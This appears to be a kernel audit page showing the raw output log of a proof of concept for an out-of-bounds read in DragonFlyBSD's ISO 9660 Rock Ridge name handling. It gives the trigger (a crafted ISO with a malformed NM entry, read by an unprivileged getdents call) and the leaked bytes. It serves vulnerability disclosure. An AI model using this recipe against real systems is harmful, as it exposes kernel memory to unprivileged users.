DragonFlyBSD Kernel Audit
DF-0878 / leak_live.log
← back to finding ↓ download raw
=== DF-0878 live in-kernel OOB read (early variant) ===
Mount df0878_early.iso (crafted: NM SUSP entry length=255, only 8B SU);
unprivileged getdents -> cd9660_rrip_altname bcopy 250B past pend.
entry #0: ino=38912 dirsiz=24 type=0 namelen=1
  d_name (1 bytes):
    hex: 2e
    asc: .
  >>> SUSPICIOUS: namelen=1, 1 non-'Z'/nonzero bytes (possible leaked kernel memory)
entry #1: ino=38912 dirsiz=24 type=0 namelen=2
  d_name (2 bytes):
    hex: 2e2e
    asc: ..
  >>> SUSPICIOUS: namelen=2, 2 non-'Z'/nonzero bytes (possible leaked kernel memory)
entry #2: ino=39005 dirsiz=272 type=0 namelen=250
  d_name (250 bytes):
    hex: 5a5a5a00cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc...
    asc: ZZZ................................................................................
  >>> SUSPICIOUS: namelen=250, 246 non-'Z'/nonzero bytes (possible leaked kernel memory)
[getdents EOF after 3 entries]
LEAK_EXIT=0